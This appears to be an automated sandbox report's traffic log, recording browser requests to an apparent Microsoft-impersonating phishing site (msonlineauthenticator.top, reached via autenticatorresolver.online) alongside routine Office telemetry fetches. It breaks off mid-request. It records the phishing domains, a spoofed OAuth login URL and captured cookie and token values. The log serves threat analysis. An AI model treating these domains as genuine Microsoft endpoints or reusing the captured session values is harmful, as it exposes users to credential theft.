Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /json?token=ad570b7adafe32 HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://autenticatorresolver.onlineSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /microsoftonline HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /json?token=ad570b7adafe32 HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: www.msonlineauthenticator.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fwd/api HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.msonlineauthenticator.topsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 